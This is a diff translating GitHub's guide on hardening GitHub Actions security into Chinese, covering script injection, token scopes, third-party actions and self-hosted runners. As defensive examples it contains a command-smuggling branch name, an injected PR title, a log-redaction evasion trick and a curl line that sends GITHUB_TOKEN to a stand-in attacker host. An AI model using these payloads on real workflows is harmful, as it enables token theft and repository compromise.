-    - You can use required reviewers to protect environment secrets. A workflow job cannot access environment secrets until approval is granted by a reviewer. For more information about storing secrets in environments or requiring reviews for environments, see "[Encrypted secrets](/actions/reference/encrypted-secrets)" and "[Using environments for deployment](/actions/deployment/using-environments-for-deployment)."
+- **考虑要求对访问密码进行审查**
+    - 您可以使用所需的审查者来保护环境机密。 在审查者批准之前，工作流程作业无法访问环境机密。 For more information about storing secrets in environments or requiring reviews for environments, see "[Encrypted secrets](/actions/reference/encrypted-secrets)" and "[Using environments for deployment](/actions/deployment/using-environments-for-deployment)."
 {% endif %}
 
-## Using `CODEOWNERS` to monitor changes
+## 使用 `CODEOWNERS` 监控更改
 
-You can use the `CODEOWNERS` feature to control how changes are made to your workflow files. For example, if all your workflow files are stored in `.github/workflows`, you can add this directory to the code owners list, so that any proposed changes to these files will first require approval from a designated reviewer.
+您可以使用 `CODEOWNERS` 功能来控制如何更改您的工作流程文件。 例如，如果您所有的工作流程文件都存储在 `.github/workflows` 中，您可以将此目录添加到代码所有者列表，这样对这些文件的任何拟议更改都首先需要得到指定的审查者的批准。
 
-For more information, see "[About code owners](/github/creating-cloning-and-archiving-repositories/about-code-owners)."
+更多信息请参阅“[关于代码所有者](/github/creating-cloning-and-archiving-repositories/about-code-owners)”。
 
-## Understanding the risk of script injections
+## 了解脚本注入的风险
 
-When creating workflows, [custom actions](/actions/creating-actions/about-actions), and [composite actions](/actions/creating-actions/creating-a-composite-action) actions, you should always consider whether your code might execute untrusted input from attackers. This can occur when an attacker adds malicious commands and scripts to a context. When your workflow runs, those strings might be interpreted as code which is then executed on the runner.
+在创建工作流程 [custom actions](/actions/creating-actions/about-actions) 和 [composite actions](/actions/creating-actions/creating-a-composite-action) 操作时，您应该始终考虑您的代码是否会执行来自攻击者的不信任输入。 当攻击者将恶意命令和脚本添加到上下文时可能发生这种情况。 当您的工作流程运行时，这些字符串可能会被解释为代码，然后在运行器上执行。
 
- Attackers can add their own malicious content to the [`github` context](/actions/reference/context-and-expression-syntax-for-github-actions#github-context), which should be treated as potentially untrusted input. These contexts typically end with `body`, `default_branch`, `email`, `head_ref`, `label`, `message`, `name`, `page_name`,`ref`, and `title`.  For example: `github.event.issue.title`, or `github.event.pull_request.body`. 
- 
- You should ensure that these values do not flow directly into workflows, actions, API calls, or anywhere else where they could be interpreted as executable code. By adopting the same defensive programming posture you would use for any other privileged application code, you can help security harden your use of {% data variables.product.prodname_actions %}. For information on some of the steps an attacker could take, see ["Potential impact of a compromised runner](/actions/learn-github-actions/security-hardening-for-github-actions#potential-impact-of-a-compromised-runner)."
+ 攻击者可以将他们自己的恶意内容添加到 [`github` 上下文](/actions/reference/context-and-expression-syntax-for-github-actions#github-context)中，应会该被视为潜在的不可信输入。 这些上下文通常以 `body`、`default_branch`、`email`、`head_ref`、`label`、`message`、`name`、`page_name`、`ref` 和 `title` 结束。  例如：`github.event.issue.title` 或 `github.event.pull_request.body`。
 
-In addition, there are other less obvious sources of potentially untrusted input, such as branch names and email addresses, which can be quite flexible in terms of their permitted content. For example, `zzz";echo${IFS}"hello";#` would be a valid branch name and would be a possible attack vector for a target repository.
+ 您应该确保这些值不会直接流入工作流程、操作、API 调用，或任何可能被解释为可执行代码的其它地方。 通过采用您将用于任何其他特权应用程序代码的相同防御编程姿态，，您可以帮助安全保护 {% data variables.product.prodname_actions %} 的使用。 有关攻击者可能采取的某些步骤的信息，请参阅“[受损运行器的潜在影响](/actions/learn-github-actions/security-hardening-for-github-actions#potential-impact-of-a-compromised-runner)”。
 
-The following sections explain how you can help mitigate the risk of script injection.
+此外，还有其他不太明显的潜在不信任输入来源，如分支名称和电子邮件地址，这些输入在允许的内容方面可能相当灵活。 例如， `zz";echo${IFS}"hello";#` 将是一个有效的分支名称，并将成为目标仓库的可能攻击矢量。
 
-### Example of a script injection attack
+以下部分解释了如何帮助降低脚本注入的风险。
 
-A script injection attack can occur directly within a workflow's inline script. In the following example, an action uses an expression to test the validity of a pull request title, but also adds the risk of script injection:
+### 脚本注入攻击示例
+
+脚本注入攻击可直接发生在工作流程的内联脚本中。 在下列示例中，操作使用表达式来测试拉取请求标题的有效性，但也增加了脚本注入的风险：
 
 {% raw %}
 ```
@@ -87,23 +87,23 @@ A script injection attack can occur directly within a workflow's inline script.
 ```
 {% endraw %}
 
-This example is vulnerable to script injection because the `run` command executes within a temporary shell script on the runner. Before the shell script is run, the expressions inside {% raw %}`${{ }}`{% endraw %} are evaluated and then substituted with the resulting values, which can make it vulnerable to shell command injection. 
+此示例易受脚本注入的影响，因为 `run` 命令在运行器的临时 shell 脚本中执行。 在 shell 脚本运行之前。 {% raw %}`${{ }}`{% endraw %} 内的表达式被评估后替换为结果值， 这使它易受 shell 命令注入的攻击。
 
-To inject commands into this workflow, the attacker could create a pull request with a title of  `a"; ls $GITHUB_WORKSPACE"`:
+要将命令注入此工作流程，攻击者可以创建标题为 `a"; ls $GITHUB_WORKSPACE"` 的拉取请求：
 
-![Example of script injection in PR title](/assets/images/help/images/example-script-injection-pr-title.png)
+![PR 标题中的脚本注入示例](/assets/images/help/images/example-script-injection-pr-title.png)
 
-In this example, the `"` character is used to interrupt the {% raw %}`title="${{ github.event.pull_request.title }}"`{% endraw %} statement, allowing the `ls` command to be executed on the runner. You can see the output of the `ls` command in the log:
+在此示例中，`"` 字符用于中断 {% raw %}`title="${{ github.event.pull_request.title }}"`{% endraw %} 语句， 允许在运行器上执行 `ls` 命令。 您可以在日志中看到 `ls` 命令的输出：
 
-![Example result of script injection](/assets/images/help/images/example-script-injection-result.png)
+![脚本注入示例结果](/assets/images/help/images/example-script-injection-result.png)
 
-## Good practices for mitigating script injection attacks
+## 减少脚本注入攻击的良好做法
 
-There are a number of different approaches available to help you mitigate the risk of script injection:
+有许多不同的方法可以帮助您降低脚本注入的风险：
 
-### Using an action instead of an inline script (recommended)
+### 使用操作而不是内联脚本（建议）
 
-The recommended approach is to create an action that processes the context value as an argument. This approach is not vulnerable to the injection attack, as the context value is not used to generate a shell script, but is instead passed to the action as an argument:
+建议的方法是创建一个操作，将上下文值作为参数处理。 此方法不易受到注入攻击，因为上下文值不用于生成 shell 脚本，而是作为参数传递给该操作：
 
 {% raw %}
 ```
@@ -113,11 +113,11 @@ with:
 ```
 {% endraw %}
 
-### Using an intermediate environment variable
+### 使用中间环境变量
 
-For inline scripts, the preferred approach to handling untrusted input is to set the value of the expression to an intermediate environment variable.
+对于内联脚本，处理不信任输入的首选方法是将表达式的值设置为中间环境变量。
 
-The following example uses Bash to process the `github.event.pull_request.title` value as an environment variable:
+以下示例使用 Bash 将 `github.event.pull_request.title` 值处理为环境变量：
 
 {% raw %}
 ```
@@ -135,24 +135,24 @@ The following example uses Bash to process the `github.event.pull_request.title`
 ```
 {% endraw %}
 
-In this example, the attempted script injection is unsuccessful:
+在此示例中，尝试的脚本注入失败：
 
-![Example of mitigated script injection](/assets/images/help/images/example-script-injection-mitigated.png)
+![缓减脚本注入示例](/assets/images/help/images/example-script-injection-mitigated.png)
 
-With this approach, the value of the {% raw %}`${{ github.event.issue.title }}`{% endraw %} expression is stored in memory and used as a variable, and doesn't interact with the script generation process. In addition, consider using double quote shell variables to avoid [word splitting](https://github.com/koalaman/shellcheck/wiki/SC2086), but this is [one of many](https://mywiki.wooledge.org/BashPitfalls) general recommendations for writing shell scripts, and is not specific to {% data variables.product.prodname_actions %}.
+使用此方法， {% raw %}`${{ github.event.issue.title }}`{% endraw %} 表达式的值存储在内存中用作变量，并且不与脚本生成过程交互。 此外，考虑使用双引号 shell 变量来避免 [单词拆分](https://github.com/koalaman/shellcheck/wiki/SC2086)，但这是是写入shell 脚本[的许多一般性建议之一](https://mywiki.wooledge.org/BashPitfalls)，不是专门针对 {% data variables.product.prodname_actions %} 的。
 
-### Using CodeQL to analyze your code
+### 使用 CodeQL 分析您的代码
 
-To help you manage the risk of dangerous patterns as early as possible in the development lifecycle, the {% data variables.product.prodname_dotcom %} Security Lab has developed [CodeQL queries](https://github.com/github/codeql/tree/main/javascript/ql/src/experimental/Security/CWE-094) that repository owners can [integrate](/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#running-additional-queries) into their CI/CD pipelines. For more information, see "[About code scanning](/github/finding-security-vulnerabilities-and-errors-in-your-code/about-code-scanning)."
+为了帮助您在开发生命周期中尽早管理危险模式的风险， {% data variables.product.prodname_dotcom %} 安全实验室开发了仓库所有者可以[集成](/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#running-additional-queries)到其 CI/CD 管道中的 [CodeQL 查询](https://github.com/github/codeql/tree/main/javascript/ql/src/experimental/Security/CWE-094)。 更多信息请参阅“[关于代码扫描](/github/finding-security-vulnerabilities-and-errors-in-your-code/about-code-scanning)”。
 
-The scripts currently depend on the CodeQL JavaScript libraries, which means that the analyzed repository must contain at least one JavaScript file and that CodeQL must be [configured to analyze this language](/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#changing-the-languages-that-are-analyzed).
+脚本目前依赖于 CodeQL JavaScript 库，这意味着分析的仓库必须包含至少一个 JavaScript 文件，并且 CodeQL 必须[配置为分析此语言](/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#changing-the-languages-that-are-analyzed)。
 
-- `ExpressionInjection.ql`: Covers the expression injections described in this article, and is considered to be reasonably accurate. However, it doesn’t perform data flow tracking between workflow steps.
-- `UntrustedCheckout.ql`: This script's results require manual review to determine whether the code from a pull request is actually treated in an unsafe manner. For more information, see "[Keeping your GitHub Actions and workflows secure: Preventing pwn requests](https://securitylab.github.com/research/github-actions-preventing-pwn-requests)"  on the {% data variables.product.prodname_dotcom %} Security Lab blog.
+- `ExpressionInjection.ql`：涵盖本文所述的表达式注入，被认为是相当准确的。 但是，它不执行工作流程步骤之间的数据流跟踪。
+- `UntrustedCheckout.ql`：此脚本的结果需要手动检查，以确定从拉取请求的代码是否实际以不安全的方式处理。 更多信息请参阅 {% data variables.product.prodname_dotcom %} 安全实验室博客上的“[保持 GitHub Actions 和工作流程安全：阻止 pwn 请求](https://securitylab.github.com/research/github-actions-preventing-pwn-requests)”。
 
-### Restricting permissions for tokens
+### 限制令牌权限
 
-To help mitigate the risk of an exposed token, consider restricting the assigned permissions. For more information, see "[Modifying the permissions for the GITHUB_TOKEN](/actions/reference/authentication-in-a-workflow#modifying-the-permissions-for-the-github_token)."
+为了帮助降低暴露令牌的风险，请考虑限制分配的权限。 更多信息请参阅“[修改 GITHUB_TOKEN 的权限](/actions/reference/authentication-in-a-workflow#modifying-the-permissions-for-the-github_token)”。
 
 {% ifversion fpt or ghec or ghae-issue-4856 %}
 
@@ -162,51 +162,51 @@ To help mitigate the risk of an exposed token, consider restricting the assigned
 
 {% endif %}
 
-## Using third-party actions
+## 使用第三方操作
 
-The individual jobs in a workflow can interact with (and compromise) other jobs. For example, a job querying the environment variables used by a later job, writing files to a shared directory that a later job processes, or even more directly by interacting with the Docker socket and inspecting other running containers and executing commands in them.
+工作流程中的个别作业可以与其他作业相互作用（和妥协）。 例如，查询以后作业使用的环境变量，将文件写入以后作业处理的共享目录，或者更直接地与 Docker 套接字接交互，以及检查其他正在运行的容器并执行其中的命令。
 
-This means that a compromise of a single action within a workflow can be very significant, as that compromised action would have access to all secrets configured on your repository, and may be able to use the `GITHUB_TOKEN` to write to the repository. Consequently, there is significant risk in sourcing actions from third-party repositories on {% data variables.product.prodname_dotcom %}. For information on some of the steps an attacker could take, see ["Potential impact of a compromised runner](/actions/learn-github-actions/security-hardening-for-github-actions#potential-impact-of-a-compromised-runner)."
+这意味着工作流程中单一操作的泄露可能很严重，因为这个泄露的操作可以访问您仓库中配置的所有密码， 并且可以使用 `GITHUB_TOKENN` 写入仓库。 因此，从 {% data variables.product.prodname_dotcom %} 上的第三方仓库获取操作的风险很大。 有关攻击者可能采取的某些步骤的信息，请参阅“[受损运行器的潜在影响](/actions/learn-github-actions/security-hardening-for-github-actions#potential-impact-of-a-compromised-runner)”。
 
-You can help mitigate this risk by following these good practices:
+您可以遵循以下良好做法来帮助降低此风险：
 
-* **Pin actions to a full length commit SHA**
+* **将操作固定到全长提交 SHA**
 
-  Pinning an action to a full length commit SHA is currently the only way to use an action as an immutable release. Pinning to a particular SHA helps mitigate the risk of a bad actor adding a backdoor to the action's repository, as they would need to generate a SHA-1 collision for a valid Git object payload.
+  将操作固定到全长提交 SHA 是当前将操作用作不可变版本的唯一方法。 固定到特定 SHA 有助于降低恶意执行者向操作仓库添加后门的风险，因为他们需要为有效的 Git 对象负载生成 SHA-1 冲突。
 
   {% ifversion ghes < 3.1 %}
   {% warning %}
 
-  **Warning:** The short version of the commit SHA is insecure and should never be used for specifying an action's Git reference. Because of how repository networks work, any user can fork the repository and push a crafted commit to it that collides with the short SHA. This causes subsequent clones at that SHA to fail because it becomes an ambiguous commit. As a result, any workflows that use the shortened SHA will immediately fail.
+  **警告** 提交 SHA 的简短版本不安全，绝不可用于指定操作的 Git 引用。 由于仓库网络的工作方式，任何用户都可以复刻仓库，将精心编写的提交推送到与短 SHA 冲突的仓库。 这会导致该 SHA 上的后续克隆失败，因为它成为不明确的提交。 因此，使用缩短的 SHA 的任何工作流程将立即失败。
 
   {% endwarning %}
   {% endif %}
 
-* **Audit the source code of the action**
+* **审核操作的源代码**
 
-  Ensure that the action is handling the content of your repository and secrets as expected. For example, check that secrets are not sent to unintended hosts, or are not inadvertently logged.
+  确保操作按照预期处理仓库和密码的内容。 例如，确认密码未发送到非预期主机，或者没有被无意中记录。
 
-* **Pin actions to a tag only if you trust the creator**
+* **仅当您信任创建者时，才将操作固定到标记**
 
-  Although pinning to a commit SHA is the most secure option, specifying a tag is more convenient and is widely used. If you’d like to specify a tag, then be sure that you trust the action's creators. The ‘Verified creator’ badge on {% data variables.product.prodname_marketplace %} is a useful signal, as it indicates that the action was written by a team whose identity has been verified by {% data variables.product.prodname_dotcom %}. Note that there is risk to this approach even if you trust the author, because a tag can be moved or deleted if a bad actor gains access to the repository storing the action.
+  尽管固定到提交 SHA 是最安全的选项，但指定标记更方便，而且被广泛使用。 如果要指定标记，请确保信任该操作的创建者。 {% data variables.product.prodname_marketplace %} 上的“已验证创建者”徽章是一个有用的信号，因为它表示该操作是由其身份已被 {% data variables.product.prodname_dotcom %} 验证的团队编写的。 请注意，即使您信任作者，这种方法也存在风险，因为如果恶意执行者获得对存储操作的仓库的访问权限，便可移动或删除标记。
 
 {% ifversion fpt or ghes > 3.3 or ghae-issue-4757 or ghec %}
 ## Reusing third-party workflows
 
-The same principles described above for using third-party actions also apply to using third-party workflows. You can help mitigate the risks associated with reusing workflows by following the same good practices outlined above. For more information, see "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)." 
+The same principles described above for using third-party actions also apply to using third-party workflows. You can help mitigate the risks associated with reusing workflows by following the same good practices outlined above. For more information, see "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)."
 {% endif %}
 
-## Potential impact of a compromised runner
+## 受损运行器的潜在影响
 
-These sections consider some of the steps an attacker can take if they're able to run malicious commands on a {% data variables.product.prodname_actions %} runner. 
+这些部分考虑了当攻击者能够对 {% data variables.product.prodname_actions %} 运行器运行恶意命令时可以采取的一些步骤。
 
-### Accessing secrets
+### 访问密钥
 
-Workflows triggered using the `pull_request` event have read-only permissions and have no access to secrets. However, these permissions differ for various event triggers such as `issue_comment`, `issues` and `push`, where the attacker could attempt to steal repository secrets or use the write permission of the job's [`GITHUB_TOKEN`](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token). 
+使用 `pull_request` 事件触发的工作流程具有只读权限，不能访问密钥。 但是，这些权限因各种事件触发因素（如 `issue_comment`、`issues` 和 `push`）而有所不同，攻击者可能试图窃取仓库机密或使用作业 [`GITHUB_TOKEN`](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token) 的写入权限。
 
-- If the secret or token is set to an environment variable, it can be directly accessed through the environment using `printenv`.
-- If the secret is used directly in an expression, the generated shell script is stored on-disk and is accessible.
-- For a custom action, the risk can vary depending on how a program is using the secret it obtained from the argument:
+- 如果密钥或令牌设置为环境变量，它可以使用 `printenv` 通过环境直接访问。
+- 如果在表达式中直接使用密钥，生成的 shell 脚本将存储在磁盘上，并且可以访问。
+- 对于自定义操作，风险可能因程序如何使用从参数中获取的密钥而异：
 
   {% raw %}
   ```
@@ -216,70 +216,70 @@ Workflows triggered using the `pull_request` event have read-only permissions an
   ```
   {% endraw %}
 
-Although {% data variables.product.prodname_actions %} scrubs secrets from memory that are not referenced in the workflow (or an included action), the `GITHUB_TOKEN` and any referenced secrets can be harvested by a determined attacker.
+虽然 {% data variables.product.prodname_actions %} 会从工作流程（或包含的操作）中未引用的内存中清除密钥，但 `GITHUB_TOKEN` 和任何引用的密钥均可被坚定的攻击者获取。
 
-### Exfiltrating data from a runner
+### 泄露运行器中的数据
 
-An attacker can exfiltrate any stolen secrets or other data from the runner. To help prevent accidental secret disclosure, {% data variables.product.prodname_actions %} [automatically redact secrets printed to the log](/actions/reference/encrypted-secrets#accessing-your-secrets), but this is not a true security boundary because secrets can be intentionally sent to the log. For example, obfuscated secrets can be exfiltrated using `echo ${SOME_SECRET:0:4}; echo ${SOME_SECRET:4:200};`. In addition, since the attacker may run arbitrary commands, they could use HTTP requests to send secrets or other repository data to an external server.
+攻击者可以从运行器泄露任何被盗的密钥或其他数据。 为了帮助防止意外的密钥泄露，{% data variables.product.prodname_actions %} [自动编辑打印到日志的密钥](/actions/reference/encrypted-secrets#accessing-your-secrets)，但这不是一个真正的安全边界，因为密钥可以故意发送到日志。 例如，可使用 `echo ${SOME_SECRET:0:4}; echo ${SOME_SECRET:4:200};` 来解析混淆的密钥。 此外，由于攻击者可能运行任意命令，他们可以使用 HTTP 请求将机密或其他仓库数据发送到外部服务器。
 
-### Stealing the job's `GITHUB_TOKEN`
+### 窃取作业的 `GITHUB_TOKEN`
 
-It is possible for an attacker to steal a job's `GITHUB_TOKEN`. The {% data variables.product.prodname_actions %} runner automatically receives a generated `GITHUB_TOKEN` with permissions that are limited to just the repository that contains the workflow, and the token expires after the job has completed. Once expired, the token is no longer useful to an attacker. To work around this limitation, they can automate the attack and perform it in fractions of a second by calling an attacker-controlled server with the token, for example: `a"; set +e; curl http://example.lab?token=$GITHUB_TOKEN;#`.
+攻击者有可能窃取作业的 `GITHUB_TOKEN`。 {% data variables.product.prodname_actions %} 运行器自动接收生成的 `GITHUB_TOKEN`，权限仅限于包含工作流程的仓库，令牌在作业完成后过期。 一旦过期，令牌对攻击者不再有用。 为了解决此限制，他们可以通过调用带有令牌的攻击者控制的服务器（例如：`a"; set +e; curl http://example.lab?token=$GITHUB_TOKEN;#`）来自动执行攻击并在几分之一秒内完成攻击。
 
-### Modifying the contents of a repository
+### 修改仓库的内容
 
 The attacker server can use the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API to [modify repository content](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token), including releases, if the assigned permissions of `GITHUB_TOKEN` [are not restricted](/actions/reference/authentication-in-a-workflow#modifying-the-permissions-for-the-github_token).
 
-## Considering cross-repository access
+## 考虑跨仓库访问
 
-{% data variables.product.prodname_actions %} is intentionally scoped for a single repository at a time. The `GITHUB_TOKEN` grants the same level of access as a write-access user, because any write-access user can access this token by creating or modifying a workflow file{% ifversion fpt or ghes > 3.1 or ghae or ghec %}, elevating the permissions of the `GITHUB_TOKEN` if necessary{% endif %}. Users have specific permissions for each repository, so allowing the `GITHUB_TOKEN` for one repository to grant access to another would impact the {% data variables.product.prodname_dotcom %} permission model if not implemented carefully. Similarly, caution must be taken when adding {% data variables.product.prodname_dotcom %} authentication tokens to a workflow, because this can also affect the {% data variables.product.prodname_dotcom %} permission model by inadvertently granting broad access to collaborators.
+{% data variables.product.prodname_actions %} 的范围有意设为每次一个仓库。 The `GITHUB_TOKEN` grants the same level of access as a write-access user, because any write-access user can access this token by creating or modifying a workflow file{% ifversion fpt or ghes > 3.1 or ghae or ghec %}, elevating the permissions of the `GITHUB_TOKEN` if necessary{% endif %}. 用户对每个仓库都有特定权限，因此，如果不谨慎实施，一个仓库的 `GITHUB_TOKEN` 库授予对另一个仓库的访问权限将会影响 {% data variables.product.prodname_dotcom %} 权限模型。 同样，在向工作流程添加 {% data variables.product.prodname_dotcom %} 授权令牌时也必须谨慎，因为这也会因无意中向协作者授予一般权限而影响 {% data variables.product.prodname_dotcom %} 权限模型。
 
-We have [a plan on the {% data variables.product.prodname_dotcom %} roadmap](https://github.com/github/roadmap/issues/74) to support a flow that allows cross-repository access within {% data variables.product.product_name %}, but this is not yet a supported feature. Currently, the only way to perform privileged cross-repository interactions is to place a {% data variables.product.prodname_dotcom %} authentication token or SSH key as a secret within the workflow. Because many authentication token types do not allow for granular access to specific resources, there is significant risk in using the wrong token type, as it can grant much broader access than intended.
+我们已经[制定 {% data variables.product.prodname_dotcom %} 路线图](https://github.com/github/roadmap/issues/74)，以支持允许在 {% data variables.product.product_name %} 内跨仓库访问的流程，但这还不是一项受支持的功能。 目前，执行特权跨仓库交互的唯一方法就是将 {% data variables.product.prodname_dotcom %} 身份验证令牌或 SSH 密钥作为工作流程中的密码。 由于许多身份验证令牌类型不允许对特定资源进行细致的访问，因此使用错误的令牌类型存在很大风险，因为它可以授予比预期范围更广泛的访问。
 
-This list describes the recommended approaches for accessing repository data within a workflow, in descending order of preference:
+此列表描述建议用于在工作流程中访问仓库数据的方法，按优先顺序降序排列：
 
-1. **The `GITHUB_TOKEN`**
-    -  This token is intentionally scoped to the single repository that invoked the workflow, and {% ifversion fpt or ghes > 3.1 or ghae or ghec %}can have {% else %}has {% endif %}the same level of access as a write-access user on the repository. The token is created before each job begins and expires when the job is finished. For more information, see "[Authenticating with the GITHUB_TOKEN](/actions/configuring-and-managing-workflows/authenticating-with-the-github_token)."
-    - The `GITHUB_TOKEN` should be used whenever possible.
-2. **Repository deploy key**
-    - Deploy keys are one of the only credential types that grant read or write access to a single repository, and can be used to interact with another repository within a workflow. For more information, see "[Managing deploy keys](/developers/overview/managing-deploy-keys#deploy-keys)."
-    - Note that deploy keys can only clone and push to the repository using Git, and cannot be used to interact with the REST or GraphQL API, so they may not be appropriate for your requirements.
-3. **{% data variables.product.prodname_github_app %} tokens**
-    - {% data variables.product.prodname_github_apps %} can be installed on select repositories, and even have granular permissions on the resources within them. You could create a {% data variables.product.prodname_github_app %} internal to your organization, install it on the repositories you need access to within your workflow, and authenticate as the installation within your workflow to access those repositories.
-4. **Personal access tokens**
-    - You should never use personal access tokens from your own account. These tokens grant access to all repositories within the organizations that you have access to, as well as all personal repositories in your user account. This indirectly grants broad access to all write-access users of the repository the workflow is in. In addition, if you later leave an organization, workflows using this token will immediately break, and debugging this issue can be challenging.
-    - If a personal access token is used, it should be one that was generated for a new account that is only granted access to the specific repositories that are needed for the workflow. Note that this approach is not scalable and should be avoided in favor of alternatives, such as deploy keys.
-5. **SSH keys on a user account**
-    - Workflows should never use the SSH keys on a user account. Similar to personal access tokens, they grant read/write permissions to all of your personal repositories as well as all the repositories you have access to through organization membership.  This indirectly grants broad access to all write-access users of the repository the workflow is in. If you're intending to use an SSH key because you only need to perform repository clones or pushes, and do not need to interact with public APIs, then you should use individual deploy keys instead.
+1. **`GITHUB_TOKEN`**
+    -  This token is intentionally scoped to the single repository that invoked the workflow, and {% ifversion fpt or ghes > 3.1 or ghae or ghec %}can have {% else %}has {% endif %}the same level of access as a write-access user on the repository. 令牌在每个作业开始之前创建，在作业完成时过期。 更多信息请参阅“[使用 GITHUB_TOKEN 验证身份](/actions/configuring-and-managing-workflows/authenticating-with-the-github_token)”。
+    - 应尽可能使用 `GITHUB_TOKEN`。
+2. **仓库部署密钥**
+    - 部署密钥是唯一授予对单个存储库的读取或写入访问权限的凭据类型之一，可用于与工作流程中的另一个仓库进行交互。 更多信息请参阅“[管理部署密钥](/developers/overview/managing-deploy-keys#deploy-keys)”。
+    - 请注意，部署密钥只能使用 Git 克隆和推送到仓库，不能用于与 REST 或 GraphQL API 进行交互，因此它们可能不适合您的要求。
+3. **{% data variables.product.prodname_github_app %} 令牌**
+    - {% data variables.product.prodname_github_apps %} 可以安装在选择的仓库上，甚至可以对其中的资源设置细致的访问权限。 您可以创建组织内部的 {% data variables.product.prodname_github_app %}，将其安装在工作流程中您需要访问的仓库上，并在工作流程中验证为安装以访问这些仓库。
+4. **个人访问令牌**
+    - 切勿使用您自己帐户的个人访问令牌。 这些令牌授予您访问组织中您有权访问的所有仓库，以及您的用户帐户中的所有个人仓库。 这间接地向所有能写入工作流程所在仓库的用户授予广泛访问权限。 此外，如果您以后离开组织，使用此令牌的工作流程将立即中断，而且调试此问题可能具有挑战性。
+    - 如果使用个人访问令牌，应是为新帐户生成的令牌，该帐户仅被授予对工作流程所需的特定仓库的访问权限。 请注意，此方法不可扩展，应避免采用其他方法，例如部署密钥。
+5. **用户帐户上的 SSH 密钥**
+    - 工作流程不应使用用户帐户上的 SSH 密钥。 与个人访问令牌类似，它们授予对所有个人仓库以及通过组织成员资格访问的所有仓库的读/写权限。  这间接地向所有能写入工作流程所在仓库的用户授予广泛访问权限。 如果您打算使用 SSH 密钥，因为您只需要执行仓库克隆或推送，并且不需要与公共 API 交互，则应该使用单独的部署密钥。
 
-## Hardening for self-hosted runners
+## 自托管运行器的强化
 
 {% ifversion fpt %}
-**{% data variables.product.prodname_dotcom %}-hosted** runners execute code within ephemeral and clean isolated virtual machines, meaning there is no way to persistently compromise this environment, or otherwise gain access to more information than was placed in this environment during the bootstrap process.
+**{% data variables.product.prodname_dotcom %} 托管的**运行程序在临时和干净的隔离虚拟机中执行代码，这意味着无法持续破坏此环境，可以访问的信息不会超过引导过程中此环境中存在的信息。
 {% endif %}
 
 {% ifversion fpt %}**Self-hosted**{% elsif ghes or ghae %}Self-hosted{% endif %} runners for {% data variables.product.product_name %} do not have guarantees around running in ephemeral clean virtual machines, and can be persistently compromised by untrusted code in a workflow.
 
-{% ifversion fpt %}As a result, self-hosted runners should almost [never be used for public repositories](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories) on {% data variables.product.product_name %}, because any user can open pull requests against the repository and compromise the environment. Similarly, be{% elsif ghes or ghae %}Be{% endif %} cautious when using self-hosted runners on private or internal repositories, as anyone who can fork the repository and open a pull request (generally those with read-access to the repository) are able to compromise the self-hosted runner environment, including gaining access to secrets and the `GITHUB_TOKEN` which{% ifversion fpt or ghes > 3.1 or ghae or ghec %}, depending on its settings, can grant {% else %} grants {% endif %}write-access permissions on the repository. Although workflows can control access to environment secrets by using environments and required reviews, these workflows are not run in an isolated environment and are still susceptible to the same risks when run on a self-hosted runner.
+{% ifversion fpt %}As a result, self-hosted runners should almost [never be used for public repositories](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories) on {% data variables.product.product_name %}, because any user can open pull requests against the repository and compromise the environment. Similarly, be{% elsif ghes or ghae %}Be{% endif %} cautious when using self-hosted runners on private or internal repositories, as anyone who can fork the repository and open a pull request (generally those with read-access to the repository) are able to compromise the self-hosted runner environment, including gaining access to secrets and the `GITHUB_TOKEN` which{% ifversion fpt or ghes > 3.1 or ghae or ghec %}, depending on its settings, can grant {% else %} grants {% endif %}write-access permissions on the repository. 尽管工作流程可以通过使用环境和必需的审查来控制对环境密钥的访问，但是这些工作流程不是在隔离的环境中运行，在自托管运行程器上运行时仍然容易遭受相同的风险。
 
-When a self-hosted runner is defined at the organization or enterprise level, {% data variables.product.product_name %} can schedule workflows from multiple repositories onto the same runner. Consequently, a security compromise of these environments can result in a wide impact. To help reduce the scope of a compromise, you can create boundaries by organizing your self-hosted runners into separate groups. For more information, see "[Managing access to self-hosted runners using groups](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups)."
+在组织或企业级别定义自托管运行器时， {% data variables.product.product_name %} 可将多个仓库中的工作流程安排到同一个运行器中。 因此，这些环境的安全危害可能会导致广泛的影响。 为了帮助缩小损害范围，可以通过将自托管运行器组织到单独的组中来创建边界。 更多信息请参阅“[使用组管理对自托管运行器的访问](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups)”。
 
-You should also consider the environment of the self-hosted runner machines:
-- What sensitive information resides on the machine configured as a self-hosted runner? For example, private SSH keys, API access tokens, among others.
-- Does the machine have network access to sensitive services? For example, Azure or AWS metadata services. The amount of sensitive information in this environment should be kept to a minimum, and you should always be mindful that any user capable of invoking workflows has access to this environment.
+您还应考虑自托管运行器机器的环境：
+- 配置为自托管运行器的计算机上存储哪些敏感信息？ 例如，私有 SSH 密钥、API 访问令牌等。
+- 计算机是否可通过网络访问敏感服务？ 例如，Azure 或 AWS 元数据服务。 此环境中的敏感信息量应保持在最低水平，您应该始终注意，任何能够调用工作流程的用户都有权访问此环境。
 
-Some customers might attempt to partially mitigate these risks by implementing systems that automatically destroy the self-hosted runner after each job execution. However, this approach might not be as effective as intended, as there is no way to guarantee that a self-hosted runner only runs one job. Some jobs will use secrets as command-line arguments which can be seen by another job running on the same runner, such as `ps x -w`. This can lead to secret leakages.
+某些客户可能会尝试通过实施在每次作业执行后自动销毁自托管运行器的系统来部分降低这些风险。 但是，此方法可能不如预期有效，因为无法保证自托管运行器只运行一个作业。 有些任务将使用密钥作为命令行参数，可以在同一运行器上的另一个任务中看到，例如 `ps x -w`。 这可能导致秘密泄露。
 
 ### Planning your management strategy for self-hosted runners
 
 A self-hosted runner can be added to various levels in your {% data variables.product.prodname_dotcom %} hierarchy: the enterprise, organization, or repository level. This placement determines who will be able to manage the runner:
 
 **Centralised management:**
